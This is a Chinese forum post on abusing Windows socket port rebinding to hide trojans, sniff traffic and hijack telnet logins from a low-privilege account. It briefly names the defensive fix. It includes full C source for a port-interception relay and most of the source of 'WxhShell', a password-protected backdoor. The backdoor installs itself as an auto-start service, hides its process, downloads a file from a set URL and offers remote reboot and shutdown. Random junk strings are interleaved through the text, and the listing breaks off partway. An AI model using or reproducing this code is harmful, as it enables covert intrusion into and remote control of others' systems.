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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -,VhSI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BD7@Mj*|  
p*`SGX  
  saddr.sin_family = AF_INET; ^Opy6Bqb  
neh;`7~5@K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H:-A; f!Z  
x$GsDV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xDJ+BQ<1A  
EB5_;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hpi%9SAM  
`n`"g<K)Q  
  这意味着什么?意味着可以进行如下的攻击: 'd #\7J>d  
_/}Hqh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 & 8' (  
1@^Ek8C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7B]:3M6d  
1N9< d,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6WN(22Io  
C`n9/[,#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  96pk[5lj{?  
]}[Yf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q|o |/O-{  
Y/,$Y]%g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b"M`@';+  
eh:}X}c=J]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4r[pMJiq  
-, Q$  
  #include b"nG-0JR  
  #include  (X(1kj3  
  #include T5S g2a1&  
  #include    xN3 [Kp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $iqi:vY  
  int main() %gu$_S  
  { ) p<fL  
  WORD wVersionRequested; AB"1(PbG  
  DWORD ret; ZSPgci  
  WSADATA wsaData; ?,:#8.9  
  BOOL val; !ml_S)  
  SOCKADDR_IN saddr; oWDSK^  
  SOCKADDR_IN scaddr; /*AJr  
  int err; nFe` <Al$N  
  SOCKET s; m0 j|58~  
  SOCKET sc; =1*%>K  
  int caddsize; hA*Z'.[  
  HANDLE mt; gf3U#L}P  
  DWORD tid;   V+O0k: o  
  wVersionRequested = MAKEWORD( 2, 2 ); G7Z vfLR{:  
  err = WSAStartup( wVersionRequested, &wsaData ); I{42'9  
  if ( err != 0 ) { LiZdRr  
  printf("error!WSAStartup failed!\n"); Wk`bb!P_  
  return -1; 6KEykw j  
  } lC=N:=Mu  
  saddr.sin_family = AF_INET; }2ql?K  
   m\/,cc@,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `u#;MUg  
2"leUur~rO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]D LZ&5pv  
  saddr.sin_port = htons(23); ]eYd8s+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j?\$G.Y  
  { 3J'73)y  
  printf("error!socket failed!\n"); ?aFr8i:)M  
  return -1; m!5HRjOO  
  } 4jX@m  
  val = TRUE; 7`IUMYl#~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s>jr1~~3O_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =6cyE  
  { =`qRu  
  printf("error!setsockopt failed!\n"); 7~wFU*P1  
  return -1; #y=ZP:{:t  
  } =[]x\&@t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 17>5#JLP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2J;kD2"!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \G$QNUU  
vG]GQ#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [D3+cDph  
  { *8$>Whr  
  ret=GetLastError(); |7 &|>  
  printf("error!bind failed!\n"); XC|*A$x,  
  return -1; rO/a,vV  
  } o]Z _@VI  
  listen(s,2); &Nc[$H7<  
  while(1) )]%e  
  { EjWgaV  
  caddsize = sizeof(scaddr); lijB#1<8*  
  //接受连接请求 X<(6T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +7V=aNRlE  
  if(sc!=INVALID_SOCKET) i=oTg  
  { Iq{o-nq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JC=dYP}  
  if(mt==NULL) A-Mj|V  
  { ?4^} ;wDb2  
  printf("Thread Creat Failed!\n"); s(teQ\  
  break; l+%Fl=Q2em  
  } :'Zx{F`  
  } LU%#mY  
  CloseHandle(mt); c$9sF@K?  
  } R7lYu\mA  
  closesocket(s); WFouoXlG0  
  WSACleanup(); Te# ]Cn|  
  return 0; PPEq6}  
  }   >-!r9"8@  
  DWORD WINAPI ClientThread(LPVOID lpParam) +A@m9  
  { <mL%P`Jj  
  SOCKET ss = (SOCKET)lpParam; C 8N%X2R  
  SOCKET sc; C1b*v&1{  
  unsigned char buf[4096]; z. 'Fv7  
  SOCKADDR_IN saddr; $; ?c?n+  
  long num; C>^,*7dS  
  DWORD val; wb b*nL|P  
  DWORD ret; kP@H G<~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IXnb]q.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yE#g5V&  
  saddr.sin_family = AF_INET; H nK!aa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mjbTy"}"  
  saddr.sin_port = htons(23); $!f !,fw+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IroPx#s:i  
  { /0(%(2jIWl  
  printf("error!socket failed!\n"); *ot> WVB  
  return -1; FH.f- ZU  
  } 1I ""X]I_  
  val = 100; "# !D|[h0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CphFv!k'Z  
  { _ Hc%4I  
  ret = GetLastError(); ;`DD}j`  
  return -1; Xh?4mKgu  
  } P$_&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K4:  $=  
  { P1MvtI4gm  
  ret = GetLastError(); I7~|~<  
  return -1; vB.l0!c\e_  
  } [@//#}5v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zVw:7-  
  { *Ddi(`  
  printf("error!socket connect failed!\n"); pe.Ml7o"  
  closesocket(sc); u"`*DFjo*  
  closesocket(ss); *7ZtNo[+  
  return -1; =_l)gx+Y+y  
  } ++b$E&lYU  
  while(1) P;73Hr[E#  
  { h$>wv`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PQ$sOK|/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l-<`m#/v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Sm)u9  
  num = recv(ss,buf,4096,0); V4|uas{0I:  
  if(num>0) 5X#E@3g5  
  send(sc,buf,num,0); \|.7-X  
  else if(num==0) nBkh:5E5%  
  break; O#)jr-vXdV  
  num = recv(sc,buf,4096,0); 49AW6H.JT  
  if(num>0) ^XG*z?Tt  
  send(ss,buf,num,0); `<U5z$^QTw  
  else if(num==0) ?F_)-  
  break; H]&gW/=  
  } Or8kp/d  
  closesocket(ss); E$A3|rjnoN  
  closesocket(sc); ~Wei|,w'<  
  return 0 ; /`3 #4=5-  
  } FQk!d$BG  
?{6s58Q{  
I`T1Pll  
========================================================== BJk Z2=  
zU&L.+   
下边附上一个代码,,WXhSHELL {e"dm5  
uR$i48}  
========================================================== 1y(UgEg   
V%*b@zv  
#include "stdafx.h" x6W `hpL  
1_hW#I\'  
#include <stdio.h> 9%tobo@J~n  
#include <string.h> eM2|c3/  
#include <windows.h> 'RbQj}@x  
#include <winsock2.h> * ?]~ #  
#include <winsvc.h> PX2c[CDE^  
#include <urlmon.h> V kjuyK  
K\u_Ji]k  
#pragma comment (lib, "Ws2_32.lib") y t5H oy  
#pragma comment (lib, "urlmon.lib") -DjJ",h( $  
mV)+qXC  
#define MAX_USER   100 // 最大客户端连接数 pr&=n;_ n  
#define BUF_SOCK   200 // sock buffer /<{:I \<  
#define KEY_BUFF   255 // 输入 buffer Dd,2;#_  
5)UQWnd5  
#define REBOOT     0   // 重启 ;wHCj$q  
#define SHUTDOWN   1   // 关机 l1'6cLT`  
3I  $>uR  
#define DEF_PORT   5000 // 监听端口 ]PR#W_&q  
vUesV%9hq  
#define REG_LEN     16   // 注册表键长度 R#W&ery  
#define SVC_LEN     80   // NT服务名长度 H43MoC  
}Wh6zT)  
// 从dll定义API ,R2U`EO;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LT VF8-v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b~w=v_[(I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^5; `-Ky  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2VoKr)  
_>yoX  
// wxhshell配置信息 lz<]5T|  
struct WSCFG { :J/M,3  
  int ws_port;         // 监听端口 NxA)@9Q  
  char ws_passstr[REG_LEN]; // 口令 Hy_;nN+e  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4vWkT8HQ  
  char ws_regname[REG_LEN]; // 注册表键名 =d)-Fd2li  
  char ws_svcname[REG_LEN]; // 服务名 @t*t+Vqw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VIJ<``9[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B*3Y !!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !mMpb/&&S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bB}5U@G|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `5~3G2T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rsXq- Pq*  
p B;3bc  
}; OI}cs2m  
&(N+.T5cp  
// default Wxhshell configuration .@F]Pht  
struct WSCFG wscfg={DEF_PORT, <RNJ>>0  
    "xuhuanlingzhe", T~:|!`  
    1, 4\M.6])_   
    "Wxhshell", EYX$pz(x;  
    "Wxhshell", $O)3 q $|  
            "WxhShell Service", ?OlV"zK  
    "Wrsky Windows CmdShell Service", 7msAhz  
    "Please Input Your Password: ", $F'>yop2b  
  1, DA&?e~L&H  
  "http://www.wrsky.com/wxhshell.exe", Np+&t}  
  "Wxhshell.exe" !\Xm!I8  
    }; x1&W^~  
6CbxuzYer  
// 消息定义模块 pmWr]G3,*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Av'GB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CQh,~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q'O[R+YT ,  
char *msg_ws_ext="\n\rExit."; y|wlq3o  
char *msg_ws_end="\n\rQuit."; ^ BQrbY  
char *msg_ws_boot="\n\rReboot..."; P [Uy  
char *msg_ws_poff="\n\rShutdown..."; Uyx!E4pl(  
char *msg_ws_down="\n\rSave to "; *+)AqKP\Kv  
XolZonJr  
char *msg_ws_err="\n\rErr!"; NKb1LbnZ*y  
char *msg_ws_ok="\n\rOK!"; \*f;Xaa  
e [_m< e  
char ExeFile[MAX_PATH]; qMt++*Ls  
int nUser = 0; R:Q0=PzDi#  
HANDLE handles[MAX_USER]; L2Pujk  
int OsIsNt; 4k-+?L!/G  
*jIqAhs0{  
SERVICE_STATUS       serviceStatus; mE%$HZ}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _j?e~w&0b  
_WXtB#  
// 函数声明 l>*"mh  
int Install(void); U-/{0zB  
int Uninstall(void); L@`ouQ"sa  
int DownloadFile(char *sURL, SOCKET wsh); ~w8JH2O  
int Boot(int flag); sm[94,26  
void HideProc(void); 'R`tLN  
int GetOsVer(void); z4M9M7)"  
int Wxhshell(SOCKET wsl); |waIpB(  
void TalkWithClient(void *cs); K*UgX(xu4P  
int CmdShell(SOCKET sock); W"^wnGa@a  
int StartFromService(void); a<}#HfC;'  
int StartWxhshell(LPSTR lpCmdLine); ]0hrRA`  
Mj[f~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JR CrZW}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <S?ddp2  
< -W*$?^  
// 数据结构和表定义 MUfG?r\t  
SERVICE_TABLE_ENTRY DispatchTable[] = Q'_z<V  
{ tyaA\F57  
{wscfg.ws_svcname, NTServiceMain}, FFdBtB  
{NULL, NULL} b4^`DHRu6  
}; ?v>ET2wD  
y E[#ze  
// 自我安装 r'QnX;99T  
int Install(void) ok|qyN+  
{ r{l(O,|e  
  char svExeFile[MAX_PATH]; pvmC$n^zc  
  HKEY key; F1L:,.e`  
  strcpy(svExeFile,ExeFile); a:QDBS2Llv  
Uf}\p~;  
// 如果是win9x系统,修改注册表设为自启动 C4TE-OM8  
if(!OsIsNt) { s(X;Eha  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P(F+f `T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |$5[(6T|  
  RegCloseKey(key); #9K-7je;j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ME'|saP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _6 ay-u  
  RegCloseKey(key); RV@*c4KvO+  
  return 0; lz1 wO5%h  
    } "*G.EiLq  
  } mZd , 9  
} Kq i4hK  
else { AU2i%Q!  
kbM3  
// 如果是NT以上系统,安装为系统服务 5mb]Q)f9-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EkziAON  
if (schSCManager!=0) jH_JmYd  
{ BcI |:qv|  
  SC_HANDLE schService = CreateService zOQ>d|p?X  
  ( B^g ?=|{  
  schSCManager, h@a+NE8  
  wscfg.ws_svcname, c y8;@[#9  
  wscfg.ws_svcdisp, lRXK\xIP ,  
  SERVICE_ALL_ACCESS, zc[Si bT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LD!Q8"  
  SERVICE_AUTO_START, GvBHd%Ot  
  SERVICE_ERROR_NORMAL, 6? w0  
  svExeFile, +SwR+H)?  
  NULL, JQ"U4GVp  
  NULL, iX)%Q  
  NULL, CHz+814  
  NULL, _4g.j  
  NULL eUg~)m5G  
  ); e=.]F*:J  
  if (schService!=0) ght$9>'n  
  { T?X_c"{8M  
  CloseServiceHandle(schService); R=jI?p  
  CloseServiceHandle(schSCManager); x&0vKo;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S\;V4@<Kn  
  strcat(svExeFile,wscfg.ws_svcname); M3q|l7|9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x)@G;nZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &Y }N|q-  
  RegCloseKey(key); irfp!(r  
  return 0; 6fw(T.Pe  
    } DY`kx2e!  
  } ;3@cy|\:  
  CloseServiceHandle(schSCManager); @ta7"6p-i@  
} AB4(+S*LA  
} :8OZ#D_Hl  
M]J ^N#  
return 1; O&Y*pOg  
} pej|!oX  
4T ~}  
// 自我卸载 62zYRs\Y)X  
int Uninstall(void) 1u:< 25  
{ =|Y,+/R?  
  HKEY key; o7$'cn  
\ZkA>oO".  
if(!OsIsNt) { I"ok&^t^}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -X"p:=;j  
  RegDeleteValue(key,wscfg.ws_regname); }R{ts  
  RegCloseKey(key); \pVXimam  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aJ>65RJ^=  
  RegDeleteValue(key,wscfg.ws_regname); lz?$f4TzA  
  RegCloseKey(key); S Em Q@1  
  return 0; | AozR ~  
  } h%uZYsK  
} 2%_vXo=I  
} WHj'dodS  
else { 2I,^YWR  
9J2NH|]c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ++^l]8  
if (schSCManager!=0) B&n<M]7  
{ ]jo1{IcI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !*7 vFl  
  if (schService!=0) )84~ugs  
  { TIQkW,  
  if(DeleteService(schService)!=0) { I+tb[*X+  
  CloseServiceHandle(schService); 6;ixa hZV  
  CloseServiceHandle(schSCManager); TOB]IrW  
  return 0; {A05u3}  
  } ;5659!;  
  CloseServiceHandle(schService); .N ,3 od@  
  } AT2nVakL  
  CloseServiceHandle(schSCManager); 75XJL;W #  
}  PoxK{Y  
} ^rifRY-,yO  
iT2B'QI=<  
return 1;  J4f i'  
} Z$/xy"  
o!kbK#k  
// 从指定url下载文件 ur:3W6ZKl  
int DownloadFile(char *sURL, SOCKET wsh) 5\]Sv]s)R  
{ xdp`<POn%  
  HRESULT hr; R#%(5-Zu#R  
char seps[]= "/"; Z{]0jhUyNh  
char *token; 7$CBx/X50)  
char *file; HTX?,C_  
char myURL[MAX_PATH]; Brf5dT49  
char myFILE[MAX_PATH]; PoG-Rqe  
6WXRP;!Q  
strcpy(myURL,sURL); CxwoBuG=?  
  token=strtok(myURL,seps); `erV$( M  
  while(token!=NULL) /`wvxKX  
  { Y 0d<~*  
    file=token; t gI{`jS%  
  token=strtok(NULL,seps); TFlet"ge=  
  } j+$rj  
]:XoRyIZ1[  
GetCurrentDirectory(MAX_PATH,myFILE); ,$s8GAmq  
strcat(myFILE, "\\"); n\*!CXc  
strcat(myFILE, file); |)(VsVG&  
  send(wsh,myFILE,strlen(myFILE),0); E&2OD [iX  
send(wsh,"...",3,0); S4Y&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l]Ax:Z  
  if(hr==S_OK) =8AO:  
return 0; K,+LG7ec  
else ~A'!2  
return 1; ,!#*GZ.ix  
C~2F9Pg  
} |H;F7Y_  
%4et&zRC  
// 系统电源模块 J^SdH&%Z  
int Boot(int flag) a_f~N1kq  
{ cW@Zd5&0S  
  HANDLE hToken; +ElfZ4  
  TOKEN_PRIVILEGES tkp; Br1&8L-|%  
% 5M/s'O?i  
  if(OsIsNt) { kMi/>gpQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [j=yMP38!:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B-ngn{Yc   
    tkp.PrivilegeCount = 1; g{OwuAC_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m% -g~q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z}mLLf E  
if(flag==REBOOT) { #U! _U+K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a, k'Vk{  
  return 0; oHd FMD@  
} !t$'AoVBq  
else { TC!Yb_H}gN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U>=Z- T  
  return 0; FGigbtj`  
} 8i>ZY  
  } l?Udn0F  
  else { vK|E>nL  
if(flag==REBOOT) { 8@i7pBl@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xjfV?B'Y}V  
  return 0; :W!7mna  
} ]m g)Q:d,  
else { _}lZ,L(w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qE&v ;  
  return 0; YVQN&|-  
} PRu 6xsyA  
} .7e2YI,S  
#hfXZVD  
return 1; \KMToN&2  
} ^t` k0<  
-lbm* -(  
// win9x进程隐藏模块 Tl(^  
void HideProc(void) F, W~,y  
{ *SU\ABcov  
]zj9A]i:a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R "n 5  
  if ( hKernel != NULL ) ^U `[(kz=  
  { Ixb=L (V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2|3)S`WZl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R Q vft  
    FreeLibrary(hKernel); i6dHrx]:,  
  } "?]{ %-u  
iHeN9 cl  
return; z:8eEq3w  
} 3h;{!|-3  
Y2a5bc P  
// 获取操作系统版本 zKw`Md  
int GetOsVer(void) .a O,8M  
{ u$DHVRrF<  
  OSVERSIONINFO winfo; Wvbf"hq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kpJ@M%46  
  GetVersionEx(&winfo); UtPLI al  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !}YAdZJ  
  return 1; x2OaPlG,&V  
  else N4^-`  
  return 0; m? eiIrMW  
} q$I;dOCJ,  
5b*M*e&=C  
// 客户端句柄模块 K{&mI/ ;  
int Wxhshell(SOCKET wsl) wW7eT~w  
{ f!\lg  
  SOCKET wsh; `|6'9  
  struct sockaddr_in client; WKC.$[ T=  
  DWORD myID; /(u}KMR!f  
/qMG=Z  
  while(nUser<MAX_USER) "@%7-nu  
{ 0H6(EzN  
  int nSize=sizeof(client); i!J8 d"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S=5<^o^h3  
  if(wsh==INVALID_SOCKET) return 1; OVm\  
X &uTSgN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AJh w  
if(handles[nUser]==0) 1n=lqn/  
  closesocket(wsh); &~8oQC-eF  
else N >FKy'.gk  
  nUser++; uD\?(LM  
  } <v)1<*I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DK$X2B"cV  
JLnH&(O  
  return 0; {K+i cTL3  
} (KFCs^x7wG  
\n$u)Xj~6^  
// 关闭 socket h]Wr [v  
void CloseIt(SOCKET wsh) 4lr(,nPRD  
{ l n{e1':$"  
closesocket(wsh);  3L< wQ(  
nUser--; 7op`s5i  
ExitThread(0); E)TN,@%  
} 6VS4y-N  
wP6 Fl L  
// 客户端请求句柄 QN #U)wn:  
void TalkWithClient(void *cs) [<2<Y  
{ 5]NqRI^0  
Kf>A\l^X7  
  SOCKET wsh=(SOCKET)cs; C>-aIz!y  
  char pwd[SVC_LEN]; O[I\A[*  
  char cmd[KEY_BUFF]; @OV|]u  
char chr[1]; n!NS(. o  
int i,j; tXoWwQD;Y  
q;R],7Re  
  while (nUser < MAX_USER) { ;|p BFKx  
,=UK}*e"  
if(wscfg.ws_passstr) { E0Y-7&Fv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RTE8Uq36  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RX>xB  
  //ZeroMemory(pwd,KEY_BUFF); dYG,_ji  
      i=0; v'U{/ ,x  
  while(i<SVC_LEN) { % 5m/  
qAAX;N  
  // 设置超时 z>XrU>}  
  fd_set FdRead; =T -&j60  
  struct timeval TimeOut; |uX,5Q#6  
  FD_ZERO(&FdRead); !j:9`XD|  
  FD_SET(wsh,&FdRead); ,I7E[LU  
  TimeOut.tv_sec=8; 0O9Ni='Tn  
  TimeOut.tv_usec=0; OjFLPGRCh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =8t]\Y?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +aJ>rR  
x.f]1S7h[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fI{ESXU  
  pwd=chr[0]; tasIDoo+!J  
  if(chr[0]==0xd || chr[0]==0xa) { G f,`  
  pwd=0; IEXt:  
  break; '9S8}q  
  } ! ='rc-E  
  i++; ]ro*G"-_1#  
    } xC{qV,   
uehDIl0\[b  
  // 如果是非法用户,关闭 socket I/&%]"[^u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E8pB;\Z(  
} 6{"$nF]  
v:!Z=I}>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A;*d}Xe&J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qu-B| MuOa  
PMN jn9d  
while(1) { )CuZDf@  
N):tOD@B  
  ZeroMemory(cmd,KEY_BUFF);  Of"  
4(|cG7>9-  
      // 自动支持客户端 telnet标准   ba[1wFmcL  
  j=0; qHuZcht  
  while(j<KEY_BUFF) { v-#Q7T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #pb92kA'  
  cmd[j]=chr[0]; e4!:c^?  
  if(chr[0]==0xa || chr[0]==0xd) { X'd9[).  
  cmd[j]=0; $ {O#  
  break; ~Lm$i6E <  
  } U&Wt%U{  
  j++; vd [}Gd  
    } ]~aF2LJ_q  
8vMG5#U[  
  // 下载文件 -*$HddD  
  if(strstr(cmd,"http://")) { L\@I*QP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UJM1VAJ0  
  if(DownloadFile(cmd,wsh)) V8rx#H~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LS7, a|  
  else n\xX},  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eO?p*"p"F  
  } } ud0&Oe{  
  else { kMb}1J0i"  
h-G)o[MA  
    switch(cmd[0]) { _CmOd-y  
  x[$z({Yf  
  // 帮助 fQi4\m  
  case '?': { S 5/R_5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D)j(,vt  
    break; sejg&8  
  } )/pU.Z/  
  // 安装 DVSL [p?_  
  case 'i': { np8gKV D  
    if(Install()) |C!oxhu<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^G4 P y<s  
    else y9x w 9l'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `8AR_7i  
    break; hp#W 9@NR  
    } 8n'B6hi  
  // 卸载 :c8&N-`  
  case 'r': { E^vJ@O  
    if(Uninstall()) \#Pfj &*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F P* lQRA  
    else r[4tPk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` :o4'CG  
    break; 9QDFEYG  
    } Xc?&_\. +  
  // 显示 wxhshell 所在路径 y~q8pH1  
  case 'p': { T)H{  
    char svExeFile[MAX_PATH]; H5Z$*4%G  
    strcpy(svExeFile,"\n\r"); q35f&O;  
      strcat(svExeFile,ExeFile); 7]blrN]  
        send(wsh,svExeFile,strlen(svExeFile),0); 4)A#2  
    break; , Wk?I%>  
    } /J=v]<87a  
  // 重启 ~:Ll&29i  
  case 'b': { SKkUU^\#R`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j`~Ms>  
    if(Boot(REBOOT)) kQEy#JQmB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tasUZ#\6  
    else { BW 4%l  
    closesocket(wsh); 9{ >Ui  
    ExitThread(0); .^h#_[dp  
    } U56G.  
    break; G LIi6  
    } gBC@38|6)  
  // 关机 ,.OERw  
  case 'd': { (NF~Ck$#q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _3TY,l~  
